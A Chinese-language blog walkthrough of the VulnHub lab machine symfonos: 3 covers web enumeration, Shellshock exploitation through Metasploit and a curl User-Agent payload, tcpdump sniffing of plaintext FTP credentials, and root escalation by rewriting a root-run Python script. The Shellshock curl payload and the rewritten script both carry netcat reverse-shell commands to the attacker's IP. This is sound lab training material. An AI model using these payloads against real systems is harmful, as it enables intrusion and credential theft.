『VulnHub系列』symfonos: 3-Walkthrough

在这里插入图片描述
靶机地址
难度:中等难度
靶机发布日期:2019年7月20日
靶机描述:

Intermediate real life based machine designed to test your skill at enumeration. If you get stuck remember to try different wordlist, avoid rabbit holes and enumerate everything thoroughly. SHOULD work for both VMware and Virtualbox.
For hints you’re welcome to contact me via Twitter @zayotic

博客中如有任何问题,恳请批评指正,万分感谢。个人邮箱:want2live233@gmail.com

工具、知识点和漏洞

netdiscover
nmap
dirbuster
pspy
tcpdump
metasploit
curl
wireshark

0x00、信息收集

靶机IP:192.168.0.110

netdiscover -r 192.168.0.0/24

在这里插入图片描述

端口和服务

nmap -sS -sV -T4 -A -p- 192.168.0.110

在这里插入图片描述

页面、目录枚举

dirb http://192.168.0.110 -X .php,.txt,.zip,.html

在这里插入图片描述

python3 dirsearch.py -u http://192.168.0.110 -e .php,.txt,.zip,.html

在这里插入图片描述

gobuster dir -u http://192.168.0.110 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/big.txt -x .php,.txt,.html,.zip

在这里插入图片描述
http://192.168.0.110/
在这里插入图片描述
http://192.168.0.110/gate/
在这里插入图片描述
target设置为http://192.168.0.110/尝试了不同的字典,发现的结果只有index.html和/gate

  • /usr/share/wordlists/dirb/*
  • /usr/share/wordlists/dirbuster/*

随后将目标更改为http://192.168.0.110/gate/,使用字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
在这里插入图片描述
在这里插入图片描述
真有点十八层地狱(underworld)的意思,不可能再往下扫了,不带这么变态的

工具换成dirbuster,字典还是用/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
在这里插入图片描述

每次扫描到/cgi-bin/underworld就暂停了,可能线程数太多了……所以直接将目标设为http://192.168.0.110/cgi-bin/
在这里插入图片描述
访问http://192.168.0.110/cgi-bin/underworld/login.php
在这里插入图片描述

下图是我在kali里面执行uptime命令的结果,是不是跟上图中的格式一模一样。如果是个老司机,应该可以直接得出靶机可能有shellshock漏洞的结论,可是我不是老司机……哈哈哈
在这里插入图片描述

依次访问如下页面,均得到类似的结果

  • http://192.168.0.110/cgi-bin/underworld/article.php
  • http://192.168.0.110/cgi-bin/underworld/support.php
  • http://192.168.0.110/cgi-bin/underworld/2.php

关于shellshock漏洞我看了这几篇文章

0x01、shellshock漏洞getshell

使用MSF的exploit

第一种方式是使用MSF提供的exploit

msfconsole
search shellshock
use exploit/multi/http/apache_mod_cgi_bash_env_exec
show options
set rhosts 192.168.0.110
set targeturi /cgi-bin/underworld
exploit

在这里插入图片描述

curl发送请求getshell

第二种方式是使用curl将bash命令作为特殊请求的User-Agent进行传递,实际上nc反弹shell的命令是由Bash执行的。
首先,kali上使用nc监听端口;

nc -nlvp 1234

然后,使用curl发送特殊请求

curl -A "() { :; }; /bin/bash -c 'nc 192.168.0.108 1234 -e /bin/sh'" http://192.168.0.107/cgi-bin/underworld

在这里插入图片描述
至于为什么可以反弹桑shell,这里借用嘶吼上的一篇文章的解释(就是上面我看的那一篇):

运行CGI脚本时,会将特定信息复制到环境变量中。如果被调用,该信息将随后传递给Bash,从而为攻击者提供了一种注入恶意代码的方法。

0x02、提权

关于Linux提权,可以直接用脚本搜集一下对于提权有用的信息,比如用linuxprivchecker.py

如果你想熟悉一下没有脚本的情况下怎么收集这些信息可以参考privilege_escalation_-_linux

先在kali上开启HTTP服务

python -m SimpleHTTPServer 65534

使用wget下载linuxprivchecker.py脚本到靶机的tmp目录

因为本人所在的地理位置不允许直接访问Github,所以我是从自己的kali下载的

cd /tmp
wget http://192.168.0.108:65534/Desktop/linuxprivchecker.py

为了便于查看收集到的信息,我将结果输出到report.txt文本中

python linuxprivchecker.py > report.txt

靶机做了这些后发现还是手动收集更快……,手动收集不到有效信息的情况下再尝试用脚本。

我这里直接手动进行信息收集,下面是过程:

查看/etc/passwd中有哪些用户

  • hades
  • cerberus

查找SUID权限的可执行文件,没有发现可用于提权的可执行文件

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
查找全局用户可写文件,无

find / -wirteable -type f 2>/dev/null

在这里插入图片描述

查找计划任务。主要是看看有没有高权限用户的计划任务脚本,并且当前用户拥有脚本的写权限。
在这里插入图片描述
查看当前用户可执行的sudo权限命令

sudo -l

在这里插入图片描述

查看内核版本,也许可以直接内核提权,但这里是没有的
在这里插入图片描述

上面几个都试过了之后还是没有什么发现,基本上就要去目录中“扫荡”了
查看了/home目录下的两个用户文件夹,没有什么发现

/tmp目录下发现了一个ELF可执行文件ykdwB,要是分析这个可执行文件那就难为我了,本来想使用strings ykdwB看看有没有什么字符串打印出来,结果提示strings: command not found,果断放弃了……
在这里插入图片描述
手工信息收集无果,那我们就上脚本。执行linuxprivchecker.py脚本后,对得到的结果进行查看,发现了以下信息:
安装的软件exim4 4.89-2
正在运行的进程proftpd
在这里插入图片描述

使用searchsploit搜索exim 4.89,只发现一个DoS攻击的exploit;正在运行的进程是proftpd,也许可以嗅探一下。

这里先介绍另一个工具pspy,Github地址

pspy is a command line tool designed to snoop on processes without need for root permissions. It allows you to see commands run by other users, cron jobs, etc. as they execute. Great for enumeration of Linux systems in CTFs. Also great to demonstrate your colleagues why passing secrets as arguments on the command line is a bad idea.
The tool gathers the info from procfs scans. Inotify watchers placed on selected parts of the file system trigger these scans to catch short-lived processes.

pspy是一种命令行工具,旨在无需根权限就可以窥探进程。 它使您可以查看其他用户执行的命令,cron作业等。 非常适合枚举CTF中的Linux系统。 很好地向您的同事展示为什么在命令行中将秘密作为参数传递是一个坏主意。
该工具从procfs扫描中收集信息。 放置在文件系统选定部分上的Inotify观察程序将触发这些扫描,以捕获短暂的进程。

使用方法(Google翻译)

  • -p:启用将打印命令输出到标准输出(默认启用)
  • -f:启用将文件系统事件打印到stdout(默认情况下禁用)
  • -r:Inotify要监视的目录列表。 pspy将递归地监视所有子目录(默认情况下,监视/ usr,/ tmp,/ etc,/ home,/ var和/ opt)。
  • -d:Inotify要监视的目录列表。 pspy将仅监视这些目录,而不监视子目录(默认情况下为空)。
  • -i:两次procfs扫描之间的间隔(以毫秒为单位)。 pspy会定期扫描新进程,而不考虑Inotify事件,以防万一未收到某些事件。
  • -c:以不同的颜色打印命令。 文件系统事件不再着色,根据进程UID,命令具有不同的颜色。
  • –debug:打印详细的错误消息,否则将隐藏它们。
    在这里插入图片描述在这里插入图片描述
    从上图中可以看出ftpclient.py脚本正在运行,且UID=0,也就是说是脚本是以root权限运行,记住这里后面会用到。尝试访问ftpclient文件夹,发现权限不足。从脚本的命名来看,这个脚本的作用可能是向ftp服务发送数据。注意这里是可能,因为我们不知道脚本的具体代码是什么,所以只能给出一个猜测。
    在这里插入图片描述
    接下来的这一步操作是嗅探,我是看了老外的Walkthrought,以我现在的知识面还想不到用这招儿。每次到了不得不看老外的Walkthrough的时候,我总是努力去理解他们是怎么想到用某种方法的,他们是从哪一步到这一步的,依据是什么?是经验?还是发现了什么其他的信息,但又因为过于简单而没有把这个信息写出来?之前也看过一些大佬写的关于CTF方面的writeup,跳跃性真的很强,缺少众多细节的展现。我并没有吐槽的意思,真的。我尝试过去理解这样的做法,目前的能想到就是这么几点:第一,节省时间。写东西可能真的只是给自己看的;第二,不想做重复劳动;第三,假设了看writeup的人已经具备了必要的知识背景,所以有些东西没有写出来。

言归正传。之前在查看linuxprivchecker脚本执行结果的时候发现靶机上已经安装了tcpdump,我们就用这个工具来尝试抓取数据,因为ftp协议是明文传输的,如果我们可以抓取到ftp连接的数据,那么就可以得到用户名密码了。
在这里插入图片描述

tcpdump需要指定需要抓住哪个网络接口的数据。获取网络接口(Network Interfaces)的方式如下:

  • ifconfig
  • ip link show
  • netstat -i
  • nmcli device status

在这里插入图片描述
有两个网络接口,该用哪一个?这里可以使用tcpdump -D,然而发现两个都在运行
在这里插入图片描述

一番搜索之后,得到了如下的结果
在这里插入图片描述

网络接口lo是loopback状态的,我们就抓取流过这个网络接口的数据包了。抓包时长7分钟
在这里插入图片描述

在靶机上使用python开启HTTP服务,将ftp.pcap下载到kali使用wireshark进行分析
在这里插入图片描述
用wireshark打开pcap包,过滤器中输入tcp.port == 21,然后选中下方一条记录,右键–>跟踪(Follow)–>TCP流(TCP Stream),发现ftp用户名和密码
在这里插入图片描述
在这里插入图片描述
使用hades/PTpZTfU4vxgzvRBE登录SSH,还记得之前的ftpclient.py脚本吗?我们使用pspy的时候发现这个脚本是root权限运行的(UID = 0),如果hades用户拥有该脚本的写入权限,那么我们就可以提权了。查看ftpclient.py脚本的权限设置
在这里插入图片描述

使用nano或vim修改ftpclient.py脚本。我这里使用的是nano,使用方法可以搜索一下。内容如下:

import sys
import os

os.system("nc -e /bin/bash 192.168.0.108 1234")

kali上监听1234端口,等待脚本的自动执行
在这里插入图片描述
在这里插入图片描述
如果您有其他的方法,欢迎留言。若文中有任何错误,恳请批评指正。如果您觉得这篇博客写的还不错,也欢迎分享给身边的人。更多VulnHub靶机的Walkthrough,请访问本人博客(https://blog.csdn.net/weixin_44214107)。与我联系可扫描下方个人微信二维码。
在这里插入图片描述

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值